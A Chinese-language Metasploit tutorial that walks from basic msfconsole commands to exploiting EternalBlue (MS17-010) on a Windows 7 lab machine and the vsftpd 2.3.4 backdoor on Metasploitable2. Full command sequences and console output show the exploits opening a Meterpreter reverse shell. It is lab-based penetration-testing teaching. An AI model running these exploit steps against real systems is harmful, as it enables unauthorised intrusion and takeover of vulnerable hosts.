MSF从0到永恒之蓝

Metasploit-MSF框架从0到永恒之蓝

本文仅作为学习研究,所需用到的靶机请自行搭建

Metasploit简介

Metasploit是一个渗透测试平台,我们可以查找,利用和验证漏洞,附带数千个已知的软件漏洞,并保持持续更新 Metasploit可以用来信息收集、漏洞探测、漏洞利用等 渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。 刚开始的Metasploit是采用Perl语言编写的,但是再后 来的新版中,改成了用Ruby语言编写的了。

Metasploit体系框架

在这里插入图片描述
在这里插入图片描述

Metasploitable2-Linux靶机系统介绍

Metasploitable2虚拟系统是一个特别制作的ubuntu操作系统,本身设计目的是作为安全工具测试和演示常见漏洞攻击的环境。其中最重要的是可以用来作为MSF攻击用的靶机

开放了很多的高危端口如21、23、445等,而且具有很多未打补丁的高危漏洞,如Samba MS-RPC Shell命令注入漏洞等,而且对外开放了很多服务,并且数据库允许外联等。系统中的用户口令均为弱口令。系统 搭载了DVWA、Mutillidae等Web漏洞演练平台

默认账号密码:msfadmin : msfadmin

Metasploit启动

  • 先启动Postgresql数据库(起到记录数据的作用【信息收集】)
  • 直接启动
  • 启动Postgresql的同时启动Metasploit

第一种方式

启动Postgresql数据库
service postgresql start
停止数据库服务
service postgresql stop
启动Metasploit
msfconsole

第二种方式

经常用

直接msfconsole

数据库不启动也不会报错,只是信息收集到的信息不会存储在数据库而已

第三种方式

经常用

msfdb run
不但启动数据库,而且一并启动Metasploit框架

查看数据库有没有启动

netstat -panto | grep 5432

Metasploit常见的命令

show

show:用于展示可用模块

有效参数是:all,encoders,nops,exploits,payloads,auxiliary,post,plugins,info,options

search

search:我已知一个漏洞,我想知道Metasploit里面是否有相关的模块,就可以使用search进行搜索

直接擦护照search后直接跟要查找内容,查找范围十分广泛

可以根据名字、路径、平台、类型、联合查询

模糊查询

例如

search ms08_
Matching Modules
================

   #  Name                                                   Disclosure Date  Rank       Check  Description
   -  ----                                                   ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi                    2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
   1  exploit/windows/browser/ms08_078_xml_corruption        2008-12-07       normal     No     MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption
   2  auxiliary/admin/ms/ms08_059_his2006                    2008-10-14       normal     No     Microsoft Host Integration Server 2006 Command Execution Vulnerability
   3  exploit/windows/browser/ms08_070_visual_studio_msmask  2008-08-13       normal     No     Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow
   4  exploit/windows/browser/ms08_041_snapshotviewer        2008-07-07       excellent  No     Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download
   5  exploit/windows/browser/ms08_053_mediaencoder          2008-09-09       normal     No     Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow
   6  auxiliary/fileformat/multidrop                                          normal     No     Windows SMB Multi Dropper


Interact with a module by name or index. For example info 6, use 6 or use auxiliary/fileformat/multidrop  

根据名字搜索

search name:mysql

根据路径搜索

search path:mysql

根据平台搜索

search platform:windows

根据漏洞公布时间搜索

search date:2023

根据类型搜索

search type:exploit

根据rank搜索

search rank:excellent

联合查询

search name:mysql type:exploit rank:excellent

use

use:使用具体某个模块

我们以微软在2008年爆出的ms08_067漏洞为例,该漏洞可能允许远程执行代码

先通过search搜索到漏洞

然后复制漏洞的路径

使用use命令指定模块

use exploit/windows/smb/ms08_067_netapi

进入使用模块

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

获取更加详细的信息

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >info
       Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption
     Module: exploit/windows/smb/ms08_067_netapi
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-28

Provided by:
  hdm <x@hdm.io>
  Brett Moore <brett.moore@insomniasec.com>
  frank2 <frank2@dc949.org>
  jduck <jduck@metasploit.com>

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Targeting
      1   Windows 2000 Universal
      2   Windows XP SP0/SP1 Universal
      3   Windows 2003 SP0 Universal
      4   Windows XP SP2 English (AlwaysOn NX)
      5   Windows XP SP2 English (NX)
      6   Windows XP SP3 English (AlwaysOn NX)
      7   Windows XP SP3 English (NX)
      8   Windows XP SP2 Arabic (NX)
      9   Windows XP SP2 Chinese - Traditional / Tai
          wan (NX)
      10  Windows XP SP2 Chinese - Simplified (NX)
      11  Windows XP SP2 Chinese - Traditional (NX)
      12  Windows XP SP2 Czech (NX)
      13  Windows XP SP2 Danish (NX)
      14  Windows XP SP2 German (NX)
      15  Windows XP SP2 Greek (NX)
      16  Windows XP SP2 Spanish (NX)
      17  Windows XP SP2 Finnish (NX)
      18  Windows XP SP2 French (NX)
      19  Windows XP SP2 Hebrew (NX)
      20  Windows XP SP2 Hungarian (NX)
      21  Windows XP SP2 Italian (NX)
      22  Windows XP SP2 Japanese (NX)
      23  Windows XP SP2 Korean (NX)
      24  Windows XP SP2 Dutch (NX)
      25  Windows XP SP2 Norwegian (NX)
      26  Windows XP SP2 Polish (NX)
      27  Windows XP SP2 Portuguese - Brazilian (NX)
      28  Windows XP SP2 Portuguese (NX)
      29  Windows XP SP2 Russian (NX)
      30  Windows XP SP2 Swedish (NX)
      31  Windows XP SP2 Turkish (NX)
      32  Windows XP SP3 Arabic (NX)
      33  Windows XP SP3 Chinese - Traditional / Tai
          wan (NX)
      34  Windows XP SP3 Chinese - Simplified (NX)
      35  Windows XP SP3 Chinese - Traditional (NX)
      36  Windows XP SP3 Czech (NX)
      37  Windows XP SP3 Danish (NX)
      38  Windows XP SP3 German (NX)
      39  Windows XP SP3 Greek (NX)
      40  Windows XP SP3 Spanish (NX)
      41  Windows XP SP3 Finnish (NX)
      42  Windows XP SP3 French (NX)
      43  Windows XP SP3 Hebrew (NX)
      44  Windows XP SP3 Hungarian (NX)
      45  Windows XP SP3 Italian (NX)
      46  Windows XP SP3 Japanese (NX)
      47  Windows XP SP3 Korean (NX)
      48  Windows XP SP3 Dutch (NX)
      49  Windows XP SP3 Norwegian (NX)
      50  Windows XP SP3 Polish (NX)
      51  Windows XP SP3 Portuguese - Brazilian (NX)
      52  Windows XP SP3 Portuguese (NX)
      53  Windows XP SP3 Russian (NX)
      54  Windows XP SP3 Swedish (NX)
      55  Windows XP SP3 Turkish (NX)
      56  Windows 2003 SP1 English (NO NX)
      57  Windows 2003 SP1 English (NX)
      58  Windows 2003 SP1 Japanese (NO NX)
      59  Windows 2003 SP1 Spanish (NO NX)
      60  Windows 2003 SP1 Spanish (NX)
      61  Windows 2003 SP1 French (NO NX)
      62  Windows 2003 SP1 French (NX)
      63  Windows 2003 SP2 English (NO NX)
      64  Windows 2003 SP2 English (NX)
      65  Windows 2003 SP2 German (NO NX)
      66  Windows 2003 SP2 German (NX)
      67  Windows 2003 SP2 Portuguese (NX)
      68  Windows 2003 SP2 Portuguese - Brazilian (N
          X)
      69  Windows 2003 SP2 Spanish (NO NX)
      70  Windows 2003 SP2 Spanish (NX)
      71  Windows 2003 SP2 Japanese (NO NX)
      72  Windows 2003 SP2 French (NO NX)
      73  Windows 2003 SP2 French (NX)
      74  Windows 2003 SP2 Chinese - Simplified (NX)
      75  Windows 2003 SP2 Czech (NX)
      76  Windows 2003 SP2 Dutch (NX)
      77  Windows 2003 SP2 Hungarian (NX)
      78  Windows 2003 SP2 Italian (NX)
      79  Windows 2003 SP2 Russian (NX)
      80  Windows 2003 SP2 Swedish (NX)
      81  Windows 2003 SP2 Turkish (NX)

Check supported:
  Yes

Basic options:
  Name     Current Sett  Required  Description
           ing
  ----     ------------  --------  -----------
  RHOSTS                 yes       The target host(s
                                   ), see https://do
                                   cs.metasploit.com
                                   /docs/using-metas
                                   ploit/basics/usin
                                   g-metasploit.html
  RPORT    445           yes       The SMB service p
                                   ort (TCP)
  SMBPIPE  BROWSER       yes       The pipe name to
                                   use (BROWSER, SRV
                                   SVC)

Payload information:
  Space: 408
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization 
  code of NetAPI32.dll through the Server Service. This module is 
  capable of bypassing NX on some operating systems and service packs. 
  The correct target must be used to prevent the Server Service (along 
  with a dozen others in the same process) from crashing. Windows XP 
  targets seem to handle multiple successful exploitation events, but 
  2003 targets will often crash or hang on subsequent attempts. This 
  is just the first version of this module, full support for NX bypass 
  on 2003, along with other platforms, is still in development.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2008-4250
  OSVDB (49243)
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/MS08-067
  http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos


View the full module info with the info -d command.

查看所有的参数

show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Sett  Required  Description
            ing
   ----     ------------  --------  -----------
   RHOSTS                 yes       The target host(
                                    s), see https://
                                    docs.metasploit.
                                    com/docs/using-m
                                    etasploit/basics
                                    /using-metasploi
                                    t.html
   RPORT    445           yes       The SMB service
                                    port (TCP)
   SMBPIPE  BROWSER       yes       The pipe name to
                                     use (BROWSER, S
                                    RVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Set  Required  Description
             ting
   ----      -----------  --------  -----------
   EXITFUNC  thread       yes       Exit technique (
                                    Accepted: '', se
                                    h, thread, proce
                                    ss, none)
   LHOST     192.168.11.  yes       The listen addre
             129                    ss (an interface
                                     may be specifie
                                    d)
   LPORT     4444         yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

查看必须要添加的参数

msf6 exploit(windows/smb/ms08_067_netapi) > show missing
Module options (exploit/windows/smb/ms08_067_netapi):

   Name    Current Sett  Required  Description
           ing
   ----    ------------  --------  -----------
   RHOSTS                yes       The target host(s
                                   ), see https://do
                                   cs.metasploit.com
                                   /docs/using-metas
                                   ploit/basics/usin
                                   g-metasploit.html


Payload options (windows/meterpreter/reverse_tcp):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

本处就必须添加PHOSTS

查看payload

msf6 exploit(windows/smb/ms08_067_netapi) > show payloads

查看可以攻击的目标

msf6 exploit(windows/smb/ms08_067_netapi) > show targets
Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Automatic Targeting
    1   Windows 2000 Universal
    2   Windows XP SP0/SP1 Universal
    3   Windows 2003 SP0 Universal
    4   Windows XP SP2 English (AlwaysOn NX)
    5   Windows XP SP2 English (NX)
    6   Windows XP SP3 English (AlwaysOn NX)
    7   Windows XP SP3 English (NX)
    8   Windows XP SP2 Arabic (NX)
    9   Windows XP SP2 Chinese - Traditional / Taiwa
        n (NX)
    10  Windows XP SP2 Chinese - Simplified (NX)
    11  Windows XP SP2 Chinese - Traditional (NX)
    12  Windows XP SP2 Czech (NX)
    13  Windows XP SP2 Danish (NX)
    14  Windows XP SP2 German (NX)
    15  Windows XP SP2 Greek (NX)
    16  Windows XP SP2 Spanish (NX)
    17  Windows XP SP2 Finnish (NX)
    18  Windows XP SP2 French (NX)
    19  Windows XP SP2 Hebrew (NX)
    20  Windows XP SP2 Hungarian (NX)
    21  Windows XP SP2 Italian (NX)
    22  Windows XP SP2 Japanese (NX)
    23  Windows XP SP2 Korean (NX)
    24  Windows XP SP2 Dutch (NX)
    25  Windows XP SP2 Norwegian (NX)
    26  Windows XP SP2 Polish (NX)
    27  Windows XP SP2 Portuguese - Brazilian (NX)
    28  Windows XP SP2 Portuguese (NX)
    29  Windows XP SP2 Russian (NX)
    30  Windows XP SP2 Swedish (NX)
    31  Windows XP SP2 Turkish (NX)
    32  Windows XP SP3 Arabic (NX)
    33  Windows XP SP3 Chinese - Traditional / Taiwa
        n (NX)
    34  Windows XP SP3 Chinese - Simplified (NX)
    35  Windows XP SP3 Chinese - Traditional (NX)
    36  Windows XP SP3 Czech (NX)
    37  Windows XP SP3 Danish (NX)
    38  Windows XP SP3 German (NX)
    39  Windows XP SP3 Greek (NX)
    40  Windows XP SP3 Spanish (NX)
    41  Windows XP SP3 Finnish (NX)
    42  Windows XP SP3 French (NX)
    43  Windows XP SP3 Hebrew (NX)
    44  Windows XP SP3 Hungarian (NX)
    45  Windows XP SP3 Italian (NX)
    46  Windows XP SP3 Japanese (NX)
    47  Windows XP SP3 Korean (NX)
    48  Windows XP SP3 Dutch (NX)
    49  Windows XP SP3 Norwegian (NX)
    50  Windows XP SP3 Polish (NX)
    51  Windows XP SP3 Portuguese - Brazilian (NX)
    52  Windows XP SP3 Portuguese (NX)
    53  Windows XP SP3 Russian (NX)
    54  Windows XP SP3 Swedish (NX)
    55  Windows XP SP3 Turkish (NX)
    56  Windows 2003 SP1 English (NO NX)
    57  Windows 2003 SP1 English (NX)
    58  Windows 2003 SP1 Japanese (NO NX)
    59  Windows 2003 SP1 Spanish (NO NX)
    60  Windows 2003 SP1 Spanish (NX)
    61  Windows 2003 SP1 French (NO NX)
    62  Windows 2003 SP1 French (NX)
    63  Windows 2003 SP2 English (NO NX)
    64  Windows 2003 SP2 English (NX)
    65  Windows 2003 SP2 German (NO NX)
    66  Windows 2003 SP2 German (NX)
    67  Windows 2003 SP2 Portuguese (NX)
    68  Windows 2003 SP2 Portuguese - Brazilian (NX)
    69  Windows 2003 SP2 Spanish (NO NX)
    70  Windows 2003 SP2 Spanish (NX)
    71  Windows 2003 SP2 Japanese (NO NX)
    72  Windows 2003 SP2 French (NO NX)
    73  Windows 2003 SP2 French (NX)
    74  Windows 2003 SP2 Chinese - Simplified (NX)
    75  Windows 2003 SP2 Czech (NX)
    76  Windows 2003 SP2 Dutch (NX)
    77  Windows 2003 SP2 Hungarian (NX)
    78  Windows 2003 SP2 Italian (NX)
    79  Windows 2003 SP2 Russian (NX)
    80  Windows 2003 SP2 Swedish (NX)
    81  Windows 2003 SP2 Turkish (NX)

退出指定的模块

msf6 exploit(windows/smb/ms08_067_netapi) > back

set

set:用于设置选项中的参数

之前我们看到show missing缺失RHOSTS参数

我们直接将靶机的IP地址设置进去

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.11.130
RHOSTS => 192.168.11.130

查看设置是否正确

show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Sett  Required  Description
            ing
   ----     ------------  --------  -----------
   RHOSTS   192.168.11.1  yes       The target host(
            30                      s), see https://
                                    docs.metasploit.
                                    com/docs/using-m
                                    etasploit/basics
                                    /using-metasploi
                                    t.html
   RPORT    445           yes       The SMB service
                                    port (TCP)
   SMBPIPE  BROWSER       yes       The pipe name to
                                     use (BROWSER, S
                                    RVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Set  Required  Description
             ting
   ----      -----------  --------  -----------
   EXITFUNC  thread       yes       Exit technique (
                                    Accepted: '', se
                                    h, thread, proce
                                    ss, none)
   LHOST     192.168.11.  yes       The listen addre
             129                    ss (an interface
                                     may be specifie
                                    d)
   LPORT     4444         yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

可以看到已经成功设置

取消设置

msf6 exploit(windows/smb/ms08_067_netapi) > unset RHOSTS

exploit/run

exploit/run:执行我们准备的payload

msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 192.168.11.129:4444 
[*] 192.168.11.130:445 - Automatically detecting the target...
[*] 192.168.11.130:445 - Fingerprint: Unknown -  - lang:Unknown
[-] 192.168.11.130:445 - Exploit aborted due to failure: no-target: No matching target
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.11.129:4444 
[*] 192.168.11.130:445 - Automatically detecting the target...
[*] 192.168.11.130:445 - Fingerprint: Unknown -  - lang:Unknown
[-] 192.168.11.130:445 - Exploit aborted due to failure: no-target: No matching target
[*] Exploit completed, but no session was created.

exploit和run的区别

exploit可以添加参数

后台运行

msf6 exploit(windows/smb/ms08_067_netapi) > exploit -j

通过这个可以保留会话,以待连接

查看会话

sessions -l

连接会话序号为1的会话

sessions -i 1

run不能添加参数

Metasploit攻击流程

已知漏洞->查找模块->配置程序->run/exploit

Metasploit小试牛刀

永恒之蓝

简介

永恒之蓝概述: 永恒之蓝是指2017年4月14日晚黑客团体 Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具“永恒之蓝”利用 Windows系统的 SMB漏洞可以获取系统最高权限。

5月12 日,不法分子通过改造“永恒之蓝”制作了 wannacry 勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件

前提准备

准备好一个Win7的靶机,开放445端口,关闭防火墙

开放445端口
在这里插入图片描述
然后进入高级共享设置

打开文件和打印机共享,就已经开启445端口了
请添加图片描述
信息收集

使用Aux模块进行信息收集

先搜索永恒之蓝对应的ms编号ms17_010

msf6 > search ms17_010
Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010               

选择编号为3的Aux模块

msf6 > use auxiliary/scanner/smb/smb_ms17_010

查看必选的参数

msf6 auxiliary(scanner/sm
b/smb_ms17_010) > show missing
Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name    Current   Required  Descripti
           Setting             on
   ----    --------  --------  ---------
   RHOSTS            yes       The targe
                               t host(s)
                               , see htt
                               ps://docs
                               .metasplo
                               it.com/do
                               cs/using-
                               metasploi
                               t/basics/
                               using-met
                               asploit.h
                               tml

发现只需要填写RHOSTS

我们set RHOSTS

msf6 auxiliary(scanner/sm
b/smb_ms17_010) > set RHOST 192.168.11.131
RHOST => 192.168.11.131

然后直接run

msf6 auxiliary(scanner/smb/smb_ms17_010) > run   
[+] 192.168.11.135:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.11.135:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/sm

显示+号代表成功,发现永恒之蓝漏洞

我们接下来使用exploit进行漏洞复现

msf6 > search ms17_010
Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010               

我们这边选择0号进行复现

msf6 > use exploit/windows/smb/ms17_010_eternalblue

同样查看必填的参数

msf6 exploit(windows/smb/
ms17_010_eternalblue) > show missing
Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name    Current   Required  Descripti
           Setting             on
   ----    --------  --------  ---------
   RHOSTS            yes       The targe
                               t host(s)
                               , see htt
                               ps://docs
                               .metasplo
                               it.com/do
                               cs/using-
                               metasploi
                               t/basics/
                               using-met
                               asploit.h
                               tml


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name  Current S  Required  Descriptio
         etting               n
   ----  ---------  --------  ----------

我们set RHOSTS

msf6 exploit(windows/smb/
ms17_010_eternalblue) > set RHOSTS 192.168.11.135
RHOSTS => 192.168.11.135

直接运行

msf6 exploit(windows/smb/
ms17_010_eternalblue) > run 
[*] Started reverse TCP handler on 192.168.11.129:4444 
[*] 192.168.11.135:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.11.135:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.11.135:445    - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.11.135:445 - The target is vulnerable.
[*] 192.168.11.135:445 - Connecting to target for exploitation.
[+] 192.168.11.135:445 - Connection established for exploitation.
[+] 192.168.11.135:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.11.135:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.11.135:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42  Windows 7 Home B
[*] 192.168.11.135:445 - 0x00000010  61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63  asic 7601 Servic
[*] 192.168.11.135:445 - 0x00000020  65 20 50 61 63 6b 20 31                          e Pack 1        
[+] 192.168.11.135:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.11.135:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.11.135:445 - Sending all but last fragment of exploit packet
[*] 192.168.11.135:445 - Starting non-paged pool grooming
[+] 192.168.11.135:445 - Sending SMBv2 buffers
[+] 192.168.11.135:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.11.135:445 - Sending final SMBv2 buffers.
[*] 192.168.11.135:445 - Sending last fragment of exploit packet!
[*] 192.168.11.135:445 - Receiving response from exploit packet
[+] 192.168.11.135:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.11.135:445 - Sending egg to corrupted connection.
[*] 192.168.11.135:445 - Triggering free of corrupted buffer.
[-] 192.168.11.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.11.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.11.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.11.135:445 - Connecting to target for exploitation.
[+] 192.168.11.135:445 - Connection established for exploitation.
[+] 192.168.11.135:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.11.135:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.11.135:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42  Windows 7 Home B
[*] 192.168.11.135:445 - 0x00000010  61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63  asic 7601 Servic
[*] 192.168.11.135:445 - 0x00000020  65 20 50 61 63 6b 20 31                          e Pack 1        
[+] 192.168.11.135:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.11.135:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.11.135:445 - Sending all but last fragment of exploit packet
[*] 192.168.11.135:445 - Starting non-paged pool grooming
[+] 192.168.11.135:445 - Sending SMBv2 buffers
[+] 192.168.11.135:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.11.135:445 - Sending final SMBv2 buffers.
[*] 192.168.11.135:445 - Sending last fragment of exploit packet!
[*] 192.168.11.135:445 - Receiving response from exploit packet
[+] 192.168.11.135:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.11.135:445 - Sending egg to corrupted connection.
[*] 192.168.11.135:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.11.135
[*] Meterpreter session 1 opened (192.168.11.129:4444 -> 192.168.11.135:49158) at 2023-08-30 08:39:01 -0400
[+] 192.168.11.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.11.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.11.135:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

随便输入一个命令

meterpreter > pwd
C:\Windows\system32

成功

PS:本处之所以可以执行Linux命令在Windows达到同样的效果是因为MSF框架对这些命令进行了改进,使之可以通用于Windows

退出:exit

Metasploit靶机信息收集

使用nmap进行信息收集

TCP连接扫描

主机发现

nmap -sP 192.168.11.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-30 21:36 EDT
Nmap scan report for 192.168.11.1
Host is up (0.000096s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.11.2
Host is up (0.000088s latency).
MAC Address: 00:50:56:EB:D1:3B (VMware)
Nmap scan report for 192.168.11.130
Host is up (0.00015s latency).
MAC Address: 00:0C:29:F6:F2:C4 (VMware)
Nmap scan report for 192.168.11.254
Host is up (0.00013s latency).
MAC Address: 00:50:56:EC:CE:CA (VMware)
Nmap scan report for 192.168.11.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) s

1、2、254是kali的广播地址

129是kali的IP地址

所以我们的目标靶机地址是130

接下来对目标靶机地址进行详细的信息收集

nmap -sT 192.168.11.130
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-30 22:14 EDT
Nmap scan report for 192.168.11.130
Host is up (0.0034s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:F6:F2:C4 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

进行版本探测

nmap -sV 192.168.11.130
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-30 22:26 EDT
Nmap scan report for 192.168.11.130
Host is up (0.0029s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:F6:F2:C4 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.69 seconds

PS:补充脚本

该脚本可以对目标主机或网段扫描是否存在常见的漏洞

nmap --script=vuln 192.168.11.130

进行漏洞查询

我们拿这个进行查询

21/tcp   open  ftp         vsftpd 2.3.4

直接去CVE漏洞库中搜索vsftpd 2.3.4
请添加图片描述
找到对应的CVE请添加图片描述
再到MSF框架中进行搜索

很遗憾,我们这边对应的CVE在MSF中没有搜索到

那么我们可以采用在MSF中直接搜索vsftpd
请添加图片描述
再看看对应的版本正好是2.3.4

我们可以直接进行利用

同样按照之前的操作

use exploit/unix/ftp/vsftpd_234_backdoor
show missing
set RHOSTS 192.168.11.130
run

成功连接
请添加图片描述

Meterpreter

Meterpreter介绍

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。

使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户 密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕捉按键信息、清楚应用程序、显示、远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

Meterpreter常用命令

